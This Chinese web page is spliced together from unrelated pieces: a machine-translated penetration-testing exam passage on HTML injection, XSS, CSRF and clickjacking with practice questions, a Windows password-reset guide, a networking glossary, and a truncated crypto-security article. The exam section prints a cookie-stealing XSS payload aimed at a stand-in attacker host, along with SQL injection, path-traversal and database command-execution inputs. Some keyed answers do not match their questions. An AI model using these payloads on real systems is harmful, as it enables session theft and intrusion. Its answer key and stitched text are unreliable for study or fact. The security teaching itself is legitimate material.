渗透式测试+考试目标相关的领域,包括HTML注入、XSS、CSRF和点击劫持。HTML注入将任意HTML注入网页的能力称为HTML注入。当用户输入未正确消毒时,会发生这种类型的注入。有两种类型的HTML注入,存储HTML和反射HTML。存储的HTML注入是一种持久的注入类型,当恶意用户插入永久存储在服务器端并保留给访问受损网页的其他用户的HTML代码时,就会发生这种情况。这些类型的攻击可能发生在网站的用户驱动区域,如博客,在博客中,即使匿名用户也可以将消息发回给毫无戒心的受害者,如管理员。反射的HTML注入漏洞是一种非持久的浏览器执行攻击。例如,将HTML标记插入到用户提供的文本字段中,例如用户名和密码登录框。如果输入以下HTML标记以及虚假密码:Hacker单击"提交"按钮时,网站可能会返回一个错误,说明:未知用户名黑客这是一个非常基本的示例,但它显示了缺乏服务器的输入验证如何允许在受害者的浏览器中注入HTML代码。跨站点脚本XSS是一种基于Web的漏洞,使攻击者能够将客户端脚本或HTML代码注入其他网页,以窃取信息或绕过身份验证。此漏洞是由于服务器端缺少输入检查造成的。XSS漏洞有三种:反射,在单个HTTP响应中注入代码。下面是一个成功执行反射XSS的示例:示例:index.php?page=存储,将注入代码存储在日志文件中,以窃取和重定向会话令牌,管理用户随后可通过Web界面访问该令牌:<img src=xonerror=this.src='https://evilsite.example.com/?c='+document.cookie>基于DOM的,文档对象模型(DOM)在运行时从应用程序传递到浏览器,并用于构建内容。与传回服务器的存储或反射XSS攻击不同,执行直接在用户的浏览器中进行,因为并非每个对象都被浏览器视为查询。如果只在客户机上进行日志记录,这会使检测过程更加困难。给出了传递到客户端浏览器的DOM对象的以下示例:URL中"#"之后传递的所有内容都将在Web浏览器中执行:http://example.com/xss/example9.php#message只需传递URL:http://example.com/xww/example9.php#<script>alert("DOMXSS")</script>对于愿意点击链接的受害者,会出现一个警报框,很像反射的XSS攻击。提示:某些Web浏览器具有内置内容过滤器,以防止发生此类攻击。NoScript (https://noscript.net)是基于Mozilla浏览器的浏览器扩展,可帮助阻止不需要的脚本在浏览器中执行,并将执行限制为仅受信任的网站。跨站点请求伪造CSRF是另一种客户端注入攻击,它会导致用户对已通过有效会话验证的受信任网站执行操作。攻击向量包括易受攻击的网页、博客、电子邮件等。这些攻击通常是有针对性的,如果成功,可能会导致受害者购买物品、转账、更改密码,如果受害者是管理员或具有提升的权限,则攻击的目标可能是在应用程序中创建或修改现有账户的能力。例如,将一个隐藏图像嵌入到一个新闻组的Web帖子中,该新闻组指向使用"攻击"servlet转移资金的恶意请求。如果这是来自银行应用程序的真正servlet,并且受害者已经登录到他们的账户,那么5000美元将从他们的账户中转出。该消息看起来无害,并且图像大小可以显著减小,这样就不会在消息正文中引起太多的注意。图9-13提供了一个向用户组提交潜在无害消息的示例。图9-14显示了打开消息时发生的情况的示例。图9-13 CSRF示例场景消息图9-14 CSRF示例场景消息内容点击挟持点击劫持(Clickjacking)是一种透明的行为,通过诱骗受害者点击他们不打算与之交互的网页中的按钮或链接来欺骗受害者。Clickjacking是客户端的安全问题,是一种可以与多种攻击(例如,社会工程)结合使用或单独使用的操作。此方法可用于通过攻击者控制的网站劫持用户会话,该网站代表受害者用户账户对合法网站执行操作。点击劫持利用CSS、iframes甚至文本框通过攻击者控制的网页加载合法的Web内容。例如,如果受害者已经登录到电子商务商店并购买鞋子,攻击者可能会通过社会工程诱使受害者访问其网站,并可能诱使用户单击"所有鞋子五折,单击此处"图像。这张图片看起来是合法的,但它直接位于合法网站的"从购物车中删除所有项目"和"注销"链接的顶部,这对受害者来说是隐藏的。用户单击图像的位置将确定Web服务器执行的操作。过去的点击劫持攻击针对Twitter和Facebook用户,点击劫持被用来说服用户单击按钮转发恶意网页(被称为Twitter蠕虫)的位置,并滥用Facebook中的"喜欢"功能来喜欢随机网站。减轻点击劫持的一种方法是配置Web服务器,使其使用适当的内容安全策略(CSP)来禁止来自其他域的框架,使用X-Frame-Options HTTP响应标头来限制网页加载到或。其他信息可在OWASP网站的"点击劫持防御备忘单"中找到,该备忘单为点击劫持和其他类型的客户端保护提供了额外的上下文,以帮助击败攻击者的点击劫持企图。章节回顾Web和数据库技术在大多数组织中发挥着重要作用。几年前,仅仅拥有一个网站就足以在竞争激烈的市场中竞争,让你的客户群看到你的公司能做什么。如今,公司正在投入更多的时间和精力在社交媒体网站上建立影响力,如Facebook、Twitter、Instagram、LinkedIn等,以便与数字世界保持联系。在当今世界,公司可以将部分数据中心移动到云中,以降低年度运营成本,实现更高级别的系统可用性。各组织必须评估其组织内的Web和数据库安全,因为数字时代已经到来。针对基于Web的技术的攻击不再只是服务器端的攻击。更复杂的攻击是针对最终用户的,因为大多数客户端漏洞攻击都相当简单,只需很少的努力,攻击者可以获得很多好处。只要回报大于被抓住的风险,攻击者就会继续寻找新的方法来利用基于网络的技术的进步。问题1、在渗透式测试约定期间,系统开发人员与您联系,询问您是否可以帮助了解服务器上的一个Apache HTTP日志文件中发生了什么。错误。日志文件显示以下消息:在HTTP GET请求期间。开发人员知道该请求不是来自正在进行的渗透式测试,因为IP地址超出了参与范围。可能对目标Web服务器使用了哪种类型的攻击?A、 基于DOM的XSS攻击B、 跨站点请求伪造(CSRF)C、 XXE注入D、 SQL注入2、渗透式测试团队的一名成员试图在MySQL数据库中插入恶意记录,该记录将执行一些概念验证代码,从用户的Web浏览器中窃取cookie。但是,INSERT语句不起作用。查看以下语法,可能的错误原因是什么?mysql> INSERT into app.data (header, body, message, webForm) VALUES ("HACK", 404, "HACK");A、 第二列值缺少引号。B、 INSERT语句缺少第四列的值,不能为null。C、 其中一个字段值超出了大小限制。D、 INSERT语句中没有错误。3、如果受损数据库用户具有管理权限(例如root)或提升权限,并且数据库配置了sys_exec()和__________函数,则UDF可以帮助在渗透式测试期间执行命令。A. sys_eval()B. system_eval()C. exec_sys()D. sys_udf()4、给定以下URL,可以使用哪两种方法对Web参数内的数据库进行SQL注入测试?(选择两个)http://example.com/page.php?id=1&acct=162;jsessionid=567323456798A. ?id=1'&acct=144;jsessionid=567323456798B. ?id=1'&acct=162';jsessionid=567323456798C. ?id=1;--&acct=162;jsessionid=567323456798D. ?id=1'&acct=144';jsessionid=5673234567985、您遇到一个需要使用有效用户名和登录名进行身份验证的网页。使用CeWL,您决定使用从网站派生的内容构建自己的词表。网站有很多页面,你决定从index.html页面开始,并深入网站5页,以确定至少8个字符的字长。哪些命令选项将帮助您构建要查找的单词列表?A. -d 5 -8B. -w 8 -d 5C. -m 8 -d 5D. -a 8 -d 56、在测试Windows Server 2016上运行的Web应用程序时,您发现一个Web参数漏洞,容易受到路径遍历攻击。在演示路径遍历攻击时,以下哪个选项是最佳选择?A. ?id=C:\Windows\system32\etc/passwdB. ?id=../../../../C:/Windows/etc/passwdC. ?id=%20.%20C:/Windows/boot.iniD. ?id=..\..\..\..\C:/Windows/boot.ini7、以下哪项是有效的客户端攻击?(选择所有适用项)A、 点击挟持B、 命令注入C、 目录遍历D、 反射HTML注入E、 基于DOM的XSSF、 会话劫持8、用户Web浏览器中文档对象模型(DOM)的用途是什么?A、 在浏览器中结构化内容B、 将消息传递给其他实体C、 存储后跟" #"符号的加密值D、 帮助抵御XSS攻击9、以下PHP代码的目的是什么?do{$data=fread($handle,8192);if (strlen($data)==0){Break;}echo($data);}while (true);A. Creates a loop to echo the contents of $data until it reaches 0 length(创建循环以回显$数据的内容,直到其长度达到0)B. Creates a loop, declares $data, and validates the size of the variable(创建循环,声明$数据,并验证变量的大小)C. Creates a loop to echo the contents of the data(创建循环以回显数据的内容)D. Creates a loop but kills the process if the data is less than 8192 bytes(创建循环,但如果数据小于8192字节,则终止进程)10、给定以下URL,以下哪个选项可以是IDOR?(选择所有适用项。)A. http://example.com/index.php?emp_id=12345B. http://example.com/index.phpC. http://example.com/sales.php?acct=4532345D. http://example.com/profile.php?state=CA&zip=90001问题和答案1、在渗透式测试约定期间,系统开发人员与您联系,询问您是否可以帮助了解服务器上的一个Apache HTTP日志文件中发生了什么。错误。日志文件显示以下消息:在HTTP GET请求期间。开发人员知道该请求不是来自正在进行的渗透式测试,因为IP地址超出了参与范围。可能对目标Web服务器使用了哪种类型的攻击?A、 基于DOM的XSS攻击B、 跨站点请求伪造(CSRF)C、 XXE注入D、 SQL注入C、 XML外部实体(XXE)注入攻击目标XML文档,并试图操纵在处理文档时解析的内部或外部实体的声明。日志文件中捕获的注入尝试是攻击者以用户账户的本地SSH密钥为目标的尝试。这些类型的攻击也可能导致远程命令执行。通过禁用外部实体或清理用户提供的输入并限制文档指向其请求的位置,可以减轻这些类型的攻击。2、渗透式测试团队的一名成员试图在MySQL数据库中插入恶意记录,该记录将执行一些概念验证代码,从用户的Web浏览器中窃取cookie。但是,INSERT语句不起作用。查看以下语法,可能的错误原因是什么?mysql> INSERT into app.data (header, body, message, webForm) VALUES ("HACK", 404, "HACK");A、 第二列值缺少引号。B、 INSERT语句缺少第四列的值,不能为null。C、 其中一个字段值超出了大小限制。D、 INSERT语句中没有错误。B、 INSERT语句缺少第四列的值。INSERT语句中标识的每一列都需要有一个字段值。如果其中一个字段是必填字段,则该字段不允许为null,例如空值。3、如果受损数据库用户具有管理权限(例如root)或提升权限,并且数据库配置了sys_exec()和__________函数,则UDF可以帮助在渗透式测试期间执行命令。A. sys_eval()B. system_eval()C. exec_sys()D. sys_udf()A、 需要在数据库服务器上配置sys_eval()和sys_exec()函数,以便创建用户定义函数(UDF),最终可以使用拥有该进程的操作系统用户的权限在操作系统上执行命令。4、给定以下URL,可以使用哪两种方法对Web参数内的数据库进行SQL注入测试?(选择两个。)http://example.com/page.php?id=1&acct=162;jsessionid=567323456798A. ?id=1'&acct=144;jsessionid=567323456798B. ?id=1'&acct=162';jsessionid=567323456798C. ?id=1;--&acct=162;jsessionid=567323456798D. ?id=1'&acct=144';jsessionid=567323456798B、 D. "'"、"-- "和"这些方法都可以帮助从缺少应用程序或数据库过滤的数据库中触发错误响应。5、您遇到一个需要使用有效用户名和登录名进行身份验证的网页。使用CeWL,您决定使用从网站派生的内容构建自己的词表。网站有很多页面,你决定从索引开始。html页面,并深入网站五页,以确定至少八个字符的字长。哪些命令选项将帮助您构建要查找的单词列表?A. -d 5 -8B. -w 8 -d 5C. -m 8 -d 5D. -a 8 -d 5C、 -d选项用于指定遍历网站的深度,-m用于指定工具识别的最小字数。6、在测试Windows Server 2016上运行的Web应用程序时,您发现一个Web参数漏洞,容易受到路径遍历攻击。在演示路径遍历攻击时,以下哪个选项是最佳选择?A. ?id=C:\Windows\system32\etc/passwdB. ?id=../../../../C:/Windows/etc/passwdC. ?id=%20.%20C:/Windows/boot.iniD. ?id=..\..\..\..\C:/Windows/boot.iniD、 最好的答案是D,因为它可以帮助避开基本的正斜杠内容过滤器,并可能显示引导的内容boot.ini文件。7、以下哪项是有效的客户端攻击?(选择所有适用项。)A. ClickjackingB. Command injectionC. Directory traversalD. Reflected HTML injectionE. DOM-based XSSF. Session hijackingA, D, E, F.除了命令注入和目录遍历之外,所有答案都是正确的。这些类型的攻击针对的是服务器端漏洞。8、用户Web浏览器中文档对象模型(DOM)的用途是什么?A、 在浏览器中结构化内容B、 将消息传递给其他实体C、 存储后跟"# "符号的加密值D、 帮助抵御XSS攻击A、 在运行时,应用程序将传递DOM以帮助构建浏览器中的内容。DOM模块可能包括可以在用户浏览器中本地执行的JavaScript代码。9、以下PHP代码的目的是什么?do{$data=fread($handle,8192);if (strlen($data)==0){Break;}echo($data);}while (true);A、 创建循环以回显$数据的内容,直到其长度达到0B、 创建循环,声明$数据,并验证变量的大小C、 创建循环以回显数据的内容D、 创建循环,但如果数据小于8192字节,则终止进程B、 PHP代码通过读取8192字节的$句柄来声明$数据变量。然后,如果$data的长度等于0,脚本将终止或继续回显$data的内容并完成循环。10、给定以下URL,以下哪个选项可以是IDOR?(选择所有适用项。)A. http://example.com/index.php?emp_id=12345B http://example.com/index.phpC http://example.com/sales.php?acct=4532345D http://example.com/profile.php?state=CA&zip=90001A、 C. "acct= " and "emp_id= "参数在某种程度上是一种死赠品,因为它们可以链接到其他用户的信息,而无需通过Web应用程序或数据库进行必要的访问控制即可检索到这些信息。选项B只是一个URL,没有任何可推断的内容,选项C提供了与状态和邮政编码相关的参数,对于不安
WiFi密码忘记?电脑密码忘记?
如何用电脑找回WiFi密码想用电脑找回密码的前提是这台电脑正在连接WiFi第一步:同时按住【Windows+S】搜索【控制面板】并打开,之后选择网络和lnternet下的【查看网络状态和任务】第二步:选择你链接的WiFi,并在弹出的窗口选择【无线属性】第三步:在弹出的窗口中选择【安全】,勾选【显示字符】选项,这样你家的WiFi密码就显示出来了如何用手机找回WiFi密码 打开连接过WiFi的手机,打开WiFi,点击分享 ,把二维码截图保存用微信扫码 扫描后,p:后面、分号前的就是密码 电脑开机密码如何找回如果你只是忘记了电脑密码,但是还记得记得PIN码或是设置过Windows Hello面部识别或者指纹、图片解锁,可以通过它们解锁电脑。如果您都忘光了,建议通过PE或者直接重置系统第一步:本地账户:登录系统后,右击开始键,点击Windows PowerShell(管理员)(A)第二步:在框内输入【net user administrator /active:yes】,然后按回车键,即可开启内置的Administrator账户。第三步:点击开始,点击小人图标,选择使用Administrator登录;第四步:(就像购买新机或者重做系统时的操作一样,跟着指引来就行)登录Administrator账户后,按住Windows+R键,在提示框中输入【netplwiz】,点击确定。(此处如果Administrator账户没有被设定密码,那我们可以在登录Administrator账户后更改密码)。第五步:接下来我们只需要选择你要改密码的账户,再点击重置密码选项,输入新密码,再点击确定即可。有的电脑会显示:【要使用本计算机,用户必须输入用户名和密码(E)】,这时要在前面打钩提醒:如需关闭内置的Administrator账户,在成功登录原账户后,重新打开命令提示符【右击开始键,点击Windows PowerShell(管理员)(A)】输入【net user administrator /active:no】,再按回车键即可。重置 Microsoft 帐户密码 第一步:登入微软账户第二步:点击【登录】并输入你的微软账户邮箱,点击下一步第三步:在【输入密码】栏,点击下方的【忘记了密码】,并在【恢复你的账户】下重新输入微软账户邮箱。为了保护你的安全,Microsoft 必须先验证你的身份,你才能继续重置密码按照指引选择“获取验证码”Microsoft 将向所选电子邮件或电话号码发送验证码。输入验证码,即可重置账户密码。在登录电脑时,点击【登录选项】,选择【Microsoft 账户和密码】,输入已经重置的密码即可正常登录系统。
【网络术语】网络术语汇编
Glossary of networking terms基本网络术语汇编,与深入定义链接。要找到您正在寻找的网络术语的简要定义,请使用浏览器的“查找”功能,然后按照链接进行更全面的解释。5G5G是用于企业物联网、IIoT和手机的快速蜂窝无线技术,可以将无线吞吐量提高10倍。网络切片(Network slicing)网络切片可以有效利用运营商的无线容量,实现完全符合客户需求的5G虚拟网络。开放式RAN(O-RAN)O-RAN是一项无线行业倡议,旨在使用软件定义技术和通用、供应商中立硬件设计和构建5G无线电接入网络。波束赋形(Beamforming)波束形成是一种将无线信号聚焦到特定接收设备的技术,而不是像广播天线那样使信号在所有方向上扩展。所产生的连接比没有波束形成的连接更快、更可靠。数据中心数据中心是企业用来存放关键业务应用程序和信息的物理设施,正在从集中式、本地设施发展到边缘部署和公共云服务。超融合基础设施(HCI)超融合基础设施将计算、存储和网络结合在一个系统中,经常用于数据中心。企业可以从单个供应商选择设备,也可以在白盒服务器上安装硬件无关的hyperconvergence软件。防火墙网络防火墙被创建为大多数组织的主要外围防御,但自创建以来,该技术已经催生了许多迭代:代理、有状态、Web应用、下一代。下一代防火墙(NGFW)下一代防火墙保护网络周界,包括在精细级别检查流量的功能,包括入侵防御系统、深度数据包检查和SSL检查,所有这些都集成到单个系统中。互联网互联网是一个全球计算机网络,使用互联网协议(IP)通过部署在合作网络中的交换机和路由器进行全球通信,该网络旨在有效地引导流量,并在互联网的某部分出现故障时提供弹性。互联网主干网一级互联网服务提供商(ISP)将其高速光纤网络融合在一起,以创建互联网主干网,从而在地理区域之间高效地传输流量。IP地址IP地址是一组唯一的数字或字母和数字的组合,分配给IP网络上的每个设备,使交换机和路由器能够将数据包传送到正确的目的地。IPv6IPv6是互联网协议的最新版本,它将可能的IP地址数量从IPv4可能的43亿扩展到340万亿,以便为可能连接到公共互联网的每个设备提供唯一地址。物联网(IoT)物联网(IoT)是一个连接的智能设备网络,为企业提供丰富的运营数据。这是一个综合术语,指越来越多的电子设备不是传统的计算设备,而是连接到互联网以收集数据、接收指令或两者兼而有之。工业物联网(IIoT)工业物联网(IIoT)连接工业中的机器和设备。它是在运输、能源和制造部门的机械和车辆上应用仪器和连接的传感器及其他设备。工业4.0工业4.0融合了各种技术,以创建更好地利用资源的定制工业解决方案。它将供应链和ERP系统直接连接到生产线,形成集成、自动化和潜在自主的制造流程,更好地利用资本、原材料和人力资源。物联网标准和协议围绕物联网的协议、标准和技术通常有一个难以理解的字母表,这是基本物联网术语的指南。窄带物联网(NB-IoT)NB IoT是一种为IoT设备设计的通信标准,可通过运营商网络在某些蜂窝服务使用的现有GSM带宽内、LTE信道之间未使用的“保护频带”内或独立运行。IP网际协议(IP)是管理通过IP网络发送的数据格式的一组规则。DHCPDHCP代表动态主机配置协议(dynamic host configuration protocol),这是一种IP网络协议,用于服务器在运行中自动分配具有IP地址的网络设备,并将其他信息共享给这些设备,以便它们可以与其他端点进行有效通信。域名服务器域名系统(DNS)将网站的公共名称与其基础IP地址进行解析,从而提高了效率,甚至提高了安全性。IPv6IPv6是互联网协议的最新版本,它可以识别整个互联网上的设备,以便定位它们,还可以更有效地处理数据包,提高性能并提高安全性。IP地址IP地址是一个数字或字母和数字的组合,用于标记连接到互联网协议用作通信介质的网络的设备。IP地址为IP网络上的设备提供了自己的身份,以便它们可以找到彼此。网络管理网络管理是管理和管理计算机网络的过程。基于意图的网络基于意图的网络(IBNS)是一种网络管理,它使网络管理员能够用简单的语言定义他们希望网络做什么,并让网络管理平台自动配置网络上的设备,以创建所需的状态并实施策略。微分段微分段是一种在网络、数据中心和云部署中创建安全区域的方法,它通过隔离分区,只有指定的用户和应用程序才能访问每个分段。软件定义网络(SDN)软件定义网络(SDN)是一种网络管理方法,可实现动态、编程高效的网络配置,以提高网络性能和监控。它通过将网络控制平面与数据平面分离来运行,从而实现网络范围内的更改,而无需手动重新配置每个设备。网络安全网络安全包括用于防止、检测和监控计算机网络和网络可访问资源上未经授权的访问、误用、修改或拒绝服务的策略、过程和实践。基于身份的网络基于身份的网络将用户的身份与用户可以接收的网络服务联系起来。微分段微分段是一种在网络、数据中心和云部署中创建安全区域的方法,它通过隔离分区,只有指定的用户和应用程序才能访问每个分段。网络访问控制(NAC)网络访问控制是一种计算机安全方法,试图统一端点安全技术、用户或系统身份验证和网络安全实施。SASE安全访问服务边缘(SASE)是一种网络架构,它将软件定义的广域网(SD-WAN)和安全性集成到云服务中,该云服务承诺简化广域网部署,提高效率和安全性,并为每个应用程序提供适当的带宽。网络交换机网络交换机是在OSI模型第2层的数据链路层上运行的设备。它接收连接到其物理端口的设备发送的数据包,并再次发送它们,但仅通过通向数据包预期到达的设备的端口。它们也可以在网络层-第3层进行路由选择。开放系统互连(OSI)参考模型开放系统互连(OSI)参考模型是一个用于结构化网络中任意两个实体之间传输的消息的框架。以太网供电(PoE)PoE是通过将网络设备连接到LAN的相同数据电缆向网络设备提供电力。这通过消除对电插头和电源转换器的需要而简化了设备本身,并且使得不需要在每个设备附近安装单独的交流电线和插座。路由器路由器是在计算机网络之间转发数据包的网络设备。路由器在OSI模型的第3层运行,并在组织内的子网之间和互联网上执行流量引导功能。边界网关协议(BGP)边界网关协议是一种标准化协议,用于在互联网上的大型自治系统之间交换路由和可达性信息。UDP端口UDP(用户数据报协议)是一种通信协议,主要用于在互联网上的应用程序之间建立低延迟和容错连接。它通过在接收设备同意连接之前实现数据传输来加速传输。存储网络存储网络是通过网络将外部存储资源互连到所有连接的计算机/节点的过程。网络连接存储(NAS)网络连接存储(NAS)是一种文件级存储,它连接到网络,支持跨异构客户端和服务器环境进行数据访问和文件共享。非易失性快速内存(NVMe)NVMe是专门为所有闪存开发的通信协议,与传统协议相比,它具有更快的性能和更高的密度。它适用于需要最高性能的企业工作负载,如实时数据分析、在线交易平台和其他延迟敏感工作负载。存储区域网络(SAN)存储区域网络(SAN)是一种专用的高速网络,提供对块级存储的访问。采用SAN是为了通过将存储流量与LAN的其余部分隔离来提高应用程序的可用性和性能。虚拟化虚拟化是创建虚拟版本的东西,包括虚拟计算机硬件平台、存储设备和计算机网络资源。这包括可以共存于同一硬件上但行为独立的虚拟服务器。管理程序(Hypervisor)管理程序是一种软件,它将计算机的操作系统和应用程序与底层物理硬件分离,允许在多个虚拟机之间共享硬件。网络虚拟化网络虚拟化是将具有网络功能的网络硬件和软件资源组合成一个基于软件的管理实体,称为虚拟网络。网络虚拟化涉及平台虚拟化,通常与资源虚拟化相结合。网络功能虚拟化(NFV)网络功能虚拟化(NFV)使用商品服务器硬件取代专用网络设备,提供更灵活、高效和可扩展的服务。应用程序交付控制器(ADC)应用程序交付控制器(ADC)是一个网络组件,用于管理和优化客户端计算机如何连接到web和企业应用程序服务器。通常,ADC是一种硬件设备或软件程序,可以管理和引导数据流到应用程序。虚拟机(VM)虚拟机(VM)是运行程序或应用程序而不与物理机绑定的软件。在VM实例中,一个或多个客户机可以在物理主机上运行。VPN(虚拟专用网络)虚拟专用网络可以以低廉的成本创建安全的远程访问和站点到站点的连接,是软件定义的广域网的垫脚石,在物联网中证明是有用的。分裂隧道(Split tunneling)拆分隧道是一种设备配置,可确保只有指定用于公司资源的流量通过组织的internet VPN,其余流量在VPN之外直接到达internet上的其他站点。广域网WAN或广域网是一种网络,它使用各种链路专用线路、多协议标签交换(MPLS)、虚拟专用网络(VPN)、无线(蜂窝)和互联网连接组织的地理分布站点。在企业中,WAN可以将分支机构和单个远程工作人员与总部或数据中心连接起来。重复数据消除重复数据消除或重复数据消除是指识别和消除数据集中的重复块,从而减少必须通过WAN连接的流量。重复数据消除可以在来自不同目录、不同数据类型、甚至不同位置的不同服务器的文件中找到冗余数据块。MPLS多协议标签交换(MPLS)是一种确保实时应用程序可靠连接的分组协议,但价格昂贵,导致许多企业将SD-WAN视为限制其使用的一种手段。SASE安全访问服务边缘(SASE)是一种网络架构,它将软件定义的广域网(SD-WAN)和安全性集成到云服务中,该云服务承诺简化广域网部署,提高效率和安全性,并为每个应用程序提供适当的带宽。SD-WAN软件定义的广域网(SD-WAN)是一种软件,可以基于策略管理和强制WAN流量路由到适当的广域连接,策略可以考虑成本、链路性能、时间和基于策略的应用需求等因素。像其更大的技术兄弟软件定义网络一样,SD-WAN将控制平面与数据平面分离。虚拟专用网虚拟专用网络(VPN)可以以低廉的成本创建安全的远程访问和站点到站点连接,可以作为SD WAN中的一个选项,并被证明在物联网中非常有用。无线局域网Wi-Fi指的是利用IEEE 802.11标准进行通信的无线LAN技术。Wi-Fi产品使用无线电波将数据发送到带有Wi-Fi软件客户端的设备,并从设备发送到将数据路由到连接的有线网络的接入点。。802.11ad802.11ad是对IEEE 802.11无线网络标准的修订,旨在提供60GHz频率的多千兆位无线系统标准,是WiGig网络的网络标准。802.11ay802.11ay是对当前(2021)Wi-Fi技术标准的拟议增强。它是IEEE 802.11ad的后续,将带宽增加了四倍,并增加了多达8个流的MIMO。这将是第二个WiGig标准。802.11ax(Wi-Fi 6)802.11ax由Wi-Fi联盟正式销售为Wi-Fi 6和Wi-Fi 6E,是无线局域网的IEEE标准,是802.11ac的继承者。它也被称为高效Wi-Fi,用于在密集环境下对Wi-Fi 6客户端的整体改进。Wi-Fi 6EWi-Fi 6E是在6GHz频段运行的Wi-Fi 6无许可无线技术的扩展,它提供了比Wi-Fi 5更低的延迟和更快的数据速率。该频谱的范围也更短,支持的信道也比已经专用于Wi-Fi的频段更多,因此适合在体育场等高密度区域部署。波束赋形(Beamforming)波束形成是一种将无线信号聚焦到特定接收设备的技术,而不是像通常那样从广播天线向所有方向传播信号。所产生的更直接的连接比没有波束成形的情况更快且更可靠。无控制器Wi-Fi企业不再需要在其数据中心安装专用Wi-Fi控制器,因为该功能可以分布在接入点之间或移动到云中,但并非每个人都需要。MU-MIMOMU-MIMO代表多用户、多输入、多输出,是路由器和终端设备支持的无线技术。MU-MIMO是单用户MIMO(SU-MIMI)的下一个演进,通常称为MIMO。MIMO技术的创建是为了帮助增加单个接入点可以支持的同时用户数量,这最初是通过增加无线路由器上的天线数量来实现的。OFDMA正交频分多址(OFDMA)通过允许多个客户端同时连接到单个接入点,为Wi-Fi 6提供了高吞吐量和更高的网络效率。Wi-Fi 6(802.11ax)802.11ax由Wi-Fi联盟正式销售为Wi-Fi 6和Wi-Fi 6E,是无线局域网的IEEE标准,是802.11ac的继承者。它也被称为高效Wi-Fi,用于在密集环境下对Wi-Fi 6客户端的整体改进。Wi-Fi标准和速度不断提高的Wi-Fi标准使Wi-Fi网络更密集、更快。WPA3WPA3 Wi-Fi安全标准解决了WPA2的缺点,以更好地保护个人、企业和物联网无线网络。本文:https://architect.pub/glossary-networking-terms
交易所平台搭建
全球投资者纷纷涌入比特币和其他加密货币,被不顾风险的快速致富承诺所吸引。比特币的成功催生了大量的后续项目、模仿者和粉丝。小偷也不例外,他们也发现了机会——因为哪里有发财的希望,哪里就有机会偷走它。黑客可以利用弱点,这意味着您的加密货币可以被黑客攻击;但是,它只能在某些情况下完成。那么,您如何保护自己和您的投资呢?关键要点加密货币是一种分散的数字货币,它使用密码学来保护交易和所有权信息。加密货币交易记录在称为区块链的数字分类账中。区块链技术背后的概念使得侵入区块链几乎是不可能的。然而,区块链之外的弱点为窃贼创造了机会。黑客可以访问加密货币所有者的加密货币钱包和交易账户以窃取加密货币。区块链安全比特币于 2009 年推出——它是一种去中心化的数字货币,这意味着它不受管理员、团体、政府或其他实体的监督或监管。1个 点对点交易推动了数字货币的兴起,数字货币转变为数字环境,任何事物都可以由区块链代币表示。加密货币区块链是记录和验证区块链网络中所有交易的公共分类账。每个人都可以看到交易、涉及的假名地址以及转移了多少。但是,这些公共分类账不允许任何人访问它们并提交或更改条目;这是通过脚本、编程和自动交易验证过程自动完成的。如何保护区块链?通过加密技术和共识机制在区块链中解决安全问题。区块链使用加密技术对交易信息进行编码,并将来自先前区块的数据包含在每个后续区块中。整个分类帐通过加密数据链接在一起。每个新创建的块都使其更加安全。因此,现有的区块链不能在传统意义上的“被黑客攻击”中被黑客攻击,即恶意代码被引入链中或有人以蛮力“入侵”网络并开始进行更改。区块链如何受到攻击?一个或一组攻击者可以通过控制区块链的大部分计算能力(称为哈希率)来接管区块链。如果他们拥有超过 50% 的哈希率,他们可以在所谓的51% 攻击中引入一个改变的区块链。这允许他们对在他们接管之前未被区块链确认的交易进行更改。当完成六次确认后,交易被认为是成功的。例如,如果您将 1 BTC 转给朋友,交易将在一个区块中被记录和确认——这是第一次确认。该块的数据被记录到下一个块中,得到确认,然后关闭该块——这是第二次确认。这必须再发生四次,网络才能处理交易。未处理的交易可以在 51% 攻击中被撤销。然后,攻击者可以自由使用网络尚未确认的交易中使用的代币。他们可以将硬币转移到匿名地址,并且改变后的区块链将按照他们编程的方式运行。1个参与者数量较少的区块链以这种方式受到攻击,但由于获取 51% 的哈希率 (BTC) 或质押加密货币 (ETH) 所涉及的成本,较大的网络(例如比特币和以太坊)几乎不可能成功攻击).加密货币黑客攻击发生的地方加密货币所有权与区块链上的令牌或一长串加密数字相关联。每个令牌都分配有一个私钥,由所有者或所有者指定的保管人持有。令牌和数字本身可能会被黑客入侵,但由于加密方法的原因,需要多年的尝试才能成功。钱包黑客加密使私钥及其存储方式成为加密货币和区块链的弱点。加密货币行业有一句话:不是你的钥匙,不是你的硬币。这句话意味着无论在什么情况下,如果你不控制你的加密密钥,你就无法控制你的加密发生的事情。允许其他人为您存储您的密钥,称为密钥所有者和密钥持有人之间的保管关系,使该实体可以控制您的加密货币。私钥理论上可以被破解。但是,一个密钥是介于 1 和 2 256之间的加密数字,或 115 quattuorvigintillion(quattuorvigintillion 是 1 后跟 75 个零)。2个用目前的技术破解加密需要几个世纪,可能几千年。这是大多数黑客攻击和盗窃发生的地方——钱包,私钥存储的地方。所有私钥都存储在钱包中,钱包是安装在移动设备和计算机上的软件应用程序。它们也可以存储在类似于 USB 拇指驱动器的设备上,或者写在纸上。钱包上的电子和软件版本要么连接到互联网(热),要么不连接(冷)。加密货币交易所通常为其用户提供冷热存储方式;这些方法是托管的,因为它们为您保管密钥。应用程序(软件)和设备可能被黑客攻击。由于私钥存储在应用程序和设备钱包中,黑客可以访问它们并窃取您的加密货币。交易所黑客无论保管钥匙持有人告诉您什么或他们宣传的安全级别如何,他们都是一个弱点。交易所通常持有加密货币作为流动性储备和许多客户的私钥。这使它们成为黑客的诱人目标。盗贼瞄准交易所以获取加密货币密钥。如果您不将私钥存储在交易所中,则无法访问它们,并且您的加密货币是安全的——至少不会受到交易所黑客的攻击。如何保护您的加密货币您可以采取几个简单的步骤来防止您的加密货币被盗。关键因素是了解您的密钥是如何存储的,您和其他人如何访问它们,以及您可以采取什么措施使它们无法访问。如前所述,钱包有热钱包、冷钱包、托管钱包或非托管钱包。最不安全的钱包是任何热钱包,或者是连接到另一台设备或互联网的钱包。出于安全目的,您永远不应将密钥存储在连接始终在线或可访问的设备上。如果它有连接并且应用程序用于访问您的密钥,则它可能会被黑客入侵。与广告和加密货币钱包评论相反,您不需要商业制造的设备来充当钱包。带加密功能的 USB 拇指驱动器也可以使用。但是,USB 连接会随着时间的推移而退化;此外,一旦冷存储设备连接到计算机或其他连接设备,它就会变成热存储,直到断开连接。没有 100% 